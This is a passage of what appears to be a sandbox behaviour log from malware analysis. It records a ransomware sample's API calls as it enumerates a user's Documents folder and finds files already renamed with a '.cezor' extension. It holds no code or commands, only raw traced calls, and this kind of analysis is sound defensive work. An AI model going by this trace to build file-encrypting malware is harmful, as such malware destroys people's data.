dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cJ1uF3yzdYr", cAlternateFileName="CJ1UF3~1")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b2580, ftCreationTime.dwHighDateTime=0x1d4c5ae, ftLastAccessTime.dwLowDateTime=0x74afc990, ftLastAccessTime.dwHighDateTime=0x1d4c6fd, ftLastWriteTime.dwLowDateTime=0x140e5230, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4907, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DfM1jMQH5m.m4a.cezor", cAlternateFileName="DFM1JM~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb5383e0, ftCreationTime.dwHighDateTime=0x1d4cd71, ftLastAccessTime.dwLowDateTime=0x7f826fe0, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x1410b390, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1512a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eCYysFOHAuDPd0.odp.cezor", cAlternateFileName="ECYYSF~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5285a00, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0xa78dae0, ftLastAccessTime.dwHighDateTime=0x1d4ce13, ftLastWriteTime.dwLowDateTime=0x141314f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x48df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fn3wxYGSmK_5.wav.cezor", cAlternateFileName="FN3WXY~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b566a0, ftCreationTime.dwHighDateTime=0x1d4cda1, ftLastAccessTime.dwLowDateTime=0xca4bbb80, ftLastAccessTime.dwHighDateTime=0x1d4c693, ftLastWriteTime.dwLowDateTime=0x141314f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x4d36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gl-n 26G.bmp.cezor", cAlternateFileName="GL-N26~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbbf8a0, ftCreationTime.dwHighDateTime=0x1d4cadc, ftLastAccessTime.dwLowDateTime=0x503807a0, ftLastAccessTime.dwHighDateTime=0x1d4d2e5, ftLastWriteTime.dwLowDateTime=0x14157650, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x8457, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GMWkR.wav.cezor", cAlternateFileName="GMWKRW~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995d1b00, ftCreationTime.dwHighDateTime=0x1d4c548, ftLastAccessTime.dwLowDateTime=0x2dff71c0, ftLastAccessTime.dwHighDateTime=0x1d4c94c, ftLastWriteTime.dwLowDateTime=0x14157650, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x3e28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I TKCX nhSV2b.mp3.cezor", cAlternateFileName="ITKCXN~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca678bd0, ftCreationTime.dwHighDateTime=0x1d4d0a2, ftLastAccessTime.dwLowDateTime=0xddd4430, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0x1417d7b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xbde8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KdF36F.avi.cezor", cAlternateFileName="KDF36F~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e79c0, ftCreationTime.dwHighDateTime=0x1d4c888, ftLastAccessTime.dwLowDateTime=0x10a2e520, ftLastAccessTime.dwHighDateTime=0x1d4cd6c, ftLastWriteTime.dwLowDateTime=0x141a3910, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kKP8D1f.mp3.cezor", cAlternateFileName="KKP8D1~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d56e9a0, ftCreationTime.dwHighDateTime=0x1d4d0ae, ftLastAccessTime.dwLowDateTime=0xa8788c80, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0x141a3910, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1313c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nborqaG7LbY-8nT0ByEv.pps.cezor", cAlternateFileName="NBORQA~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4191bce0, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0xfad1f900, ftLastAccessTime.dwHighDateTime=0x1d4cd8b, ftLastWriteTime.dwLowDateTime=0x141c9a70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16429, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nXxNQgqy6gVdEPQ.bmp.cezor", cAlternateFileName="NXXNQG~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a443d0, ftCreationTime.dwHighDateTime=0x1d4c673, ftLastAccessTime.dwLowDateTime=0xb880f290, ftLastAccessTime.dwHighDateTime=0x1d4d21d, ftLastWriteTime.dwLowDateTime=0x141c9a70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x9769, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OjEEOfskM8q.m4a.cezor", cAlternateFileName="OJEEOF~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7804b600, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0x509aa070, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0x141efbd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x6f2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pdn3smOfWiyL_KFEcP0.mp4.cezor", cAlternateFileName="PDN3SM~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c742b0, ftCreationTime.dwHighDateTime=0x1d4ce6c, ftLastAccessTime.dwLowDateTime=0x6d20dac0, ftLastAccessTime.dwHighDateTime=0x1d4c739, ftLastWriteTime.dwLowDateTime=0x14215d30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x13431, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PoDqxcM TSaz.swf.cezor", cAlternateFileName="PODQXC~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x14960090, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qz91k6FGRf5u2kNaQ", cAlternateFileName="QZ91K6~1")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375e1650, ftCreationTime.dwHighDateTime=0x1d4d049, ftLastAccessTime.dwLowDateTime=0xb7861d60, ftLastAccessTime.dwHighDateTime=0x1d4cd73, ftLastWriteTime.dwLowDateTime=0x14215d30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x41cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TeVS.mp4.cezor", cAlternateFileName="TEVSMP~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae857a60, ftCreationTime.dwHighDateTime=0x1d4d1c6, ftLastAccessTime.dwLowDateTime=0x4fec2c00, ftLastAccessTime.dwHighDateTime=0x1d4d51e, ftLastWriteTime.dwLowDateTime=0x1423be90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x14803, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TyHbSH6VrF3xX.mp3.cezor", cAlternateFileName="TYHBSH~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bfeb70, ftCreationTime.dwHighDateTime=0x1d4d44e, ftLastAccessTime.dwLowDateTime=0x27145f90, ftLastAccessTime.dwHighDateTime=0x1d4c881, ftLastWriteTime.dwLowDateTime=0x1423be90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVeSXOWXfi_KaHM6.swf.cezor", cAlternateFileName="UVESXO~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dba0bd0, ftCreationTime.dwHighDateTime=0x1d4c661, ftLastAccessTime.dwLowDateTime=0x7ca3f460, ftLastAccessTime.dwHighDateTime=0x1d4c8e6, ftLastWriteTime.dwLowDateTime=0x14261ff0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x5b73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVgxMcsEjpWpZrN.jpg.cezor", cAlternateFileName="UVGXMC~1.CEZ")) returned 1 [0122.371] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ff46a0, ftCreationTime.dwHighDateTime=0x1d4ccb6, ftLastAccessTime.dwLowDateTime=0xbd4de5f0, ftLastAccessTime.dwHighDateTime=0x1d4c5d2, ftLastWriteTime.dwLowDateTime=0x14261ff0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x13fec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wjaMa6Mk-99x.gif.cezor", cAlternateFileName="WJAMA6~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15bee050, ftCreationTime.dwHighDateTime=0x1d4c81b, ftLastAccessTime.dwLowDateTime=0x66a414c0, ftLastAccessTime.dwHighDateTime=0x1d4d074, ftLastWriteTime.dwLowDateTime=0x14288150, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xd768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xe1YhHNVlwT k.wav.cezor", cAlternateFileName="XE1YHH~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1868d30, ftCreationTime.dwHighDateTime=0x1d4c53b, ftLastAccessTime.dwLowDateTime=0x4431ac60, ftLastAccessTime.dwHighDateTime=0x1d4c6ea, ftLastWriteTime.dwLowDateTime=0x14288150, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x9948, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xk2XWRW.flv.cezor", cAlternateFileName="XK2XWR~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav.cezor", cAlternateFileName="_34_NK~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav.cezor", cAlternateFileName="_34_NK~1.CEZ")) returned 0 [0122.372] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.372] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.372] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.372] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.372] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.372] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.372] PathFindFileNameW (pszPath="") returned="" [0122.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144c35f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144c35f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa28680, ftCreationTime.dwHighDateTime=0x1d4c608, ftLastAccessTime.dwLowDateTime=0xd15c76d0, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x142d4410, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x9a4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2 YiCSGLLTlIDeQ.doc.cezor", cAlternateFileName="2YICSG~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3c7940, ftCreationTime.dwHighDateTime=0x1d4d14e, ftLastAccessTime.dwLowDateTime=0xc3d66d90, ftLastAccessTime.dwHighDateTime=0x1d4c620, ftLastWriteTime.dwLowDateTime=0x142d4410, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x181e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3fgk.pps.cezor", cAlternateFileName="3FGKPP~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7919730, ftCreationTime.dwHighDateTime=0x1d4d7ef, ftLastAccessTime.dwLowDateTime=0xc9be4e60, ftLastAccessTime.dwHighDateTime=0x1d4c62c, ftLastWriteTime.dwLowDateTime=0x142fa570, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x187c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3kKQ7nGkbpOOq-1 5zRt.pptx.cezor", cAlternateFileName="3KKQ7N~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8738f0, ftCreationTime.dwHighDateTime=0x1d4d6ab, ftLastAccessTime.dwLowDateTime=0xfac408f0, ftLastAccessTime.dwHighDateTime=0x1d4b566, ftLastWriteTime.dwLowDateTime=0x143206d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x17339, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="45LEiyxnf Plrmb.docx.cezor", cAlternateFileName="45LEIY~1.CEZ")) returned 1 [0122.372] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ca8cd0, ftCreationTime.dwHighDateTime=0x1d4b696, ftLastAccessTime.dwLowDateTime=0xc4b1de0, ftLastAccessTime.dwHighDateTime=0x1d53521, ftLastWriteTime.dwLowDateTime=0x14346830, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1691d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Jnu XQUnVKH6.xlsx.cezor", cAlternateFileName="5JNUXQ~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2233870, ftCreationTime.dwHighDateTime=0x1d4d364, ftLastAccessTime.dwLowDateTime=0xd5df3c70, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0x14346830, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x3651, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5W-053pafC.pps.cezor", cAlternateFileName="5W-053~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x426277c0, ftCreationTime.dwHighDateTime=0x1d4f0c5, ftLastAccessTime.dwLowDateTime=0x77add790, ftLastAccessTime.dwHighDateTime=0x1d51b21, ftLastWriteTime.dwLowDateTime=0x14346830, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xd0ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AGokm2hLuNsPkZ.pptx.cezor", cAlternateFileName="AGOKM2~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa372c070, ftCreationTime.dwHighDateTime=0x1d4ca09, ftLastAccessTime.dwLowDateTime=0xd0d81740, ftLastAccessTime.dwHighDateTime=0x1d4d364, ftLastWriteTime.dwLowDateTime=0x1436c990, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x160aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BUziw_klSFTDwvC1Vm.pptx.cezor", cAlternateFileName="BUZIW_~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376fe090, ftCreationTime.dwHighDateTime=0x1d4c588, ftLastAccessTime.dwLowDateTime=0x3d125d40, ftLastAccessTime.dwHighDateTime=0x1d4fbf5, ftLastWriteTime.dwLowDateTime=0x1436c990, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x17814, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dtk7xvzoVk_gCAUAkb.xlsx.cezor", cAlternateFileName="DTK7XV~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c2b330, ftCreationTime.dwHighDateTime=0x1d4c014, ftLastAccessTime.dwLowDateTime=0xbc3d37e0, ftLastAccessTime.dwHighDateTime=0x1d5273b, ftLastWriteTime.dwLowDateTime=0x14392af0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x15de9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDFXHniYi.docx.cezor", cAlternateFileName="EDFXHN~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f27c5b0, ftCreationTime.dwHighDateTime=0x1d4ce9d, ftLastAccessTime.dwLowDateTime=0x914cbe20, ftLastAccessTime.dwHighDateTime=0x1d4d551, ftLastWriteTime.dwLowDateTime=0x143b8c50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x109b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EGkqtCRNREaQo4XfBL.ods.cezor", cAlternateFileName="EGKQTC~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d36b00, ftCreationTime.dwHighDateTime=0x1d4d283, ftLastAccessTime.dwLowDateTime=0x18736ac0, ftLastAccessTime.dwHighDateTime=0x1d4d318, ftLastWriteTime.dwLowDateTime=0x143b8c50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xa77e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G-R5IPPjXNO2pufW-w.pptx.cezor", cAlternateFileName="G-R5IP~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78b5160, ftCreationTime.dwHighDateTime=0x1d4e787, ftLastAccessTime.dwLowDateTime=0x50da0080, ftLastAccessTime.dwHighDateTime=0x1d520a3, ftLastWriteTime.dwLowDateTime=0x143dedb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x17113, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k0bYHnrNfY0Z01.docx.cezor", cAlternateFileName="K0BYHN~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802ba5a0, ftCreationTime.dwHighDateTime=0x1d51734, ftLastAccessTime.dwLowDateTime=0x142ddd30, ftLastAccessTime.dwHighDateTime=0x1d4fedb, ftLastWriteTime.dwLowDateTime=0x14404f10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xfa24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kbQLv1HzRjuGX8_0 ow.pptx.cezor", cAlternateFileName="KBQLV1~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4266ff0, ftCreationTime.dwHighDateTime=0x1d4c081, ftLastAccessTime.dwLowDateTime=0xb9ad4960, ftLastAccessTime.dwHighDateTime=0x1d4e01a, ftLastWriteTime.dwLowDateTime=0x14404f10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x567a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M0viuAr.pptx.cezor", cAlternateFileName="M0VIUA~1.CEZ")) returned 1 [0122.373] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed365f00, ftCreationTime.dwHighDateTime=0x1d4ca68, ftLastAccessTime.dwLowDateTime=0xb22aced0, ftLastAccessTime.dwHighDateTime=0x1d4ce5c, ftLastWriteTime.dwLowDateTime=0x1442b070, 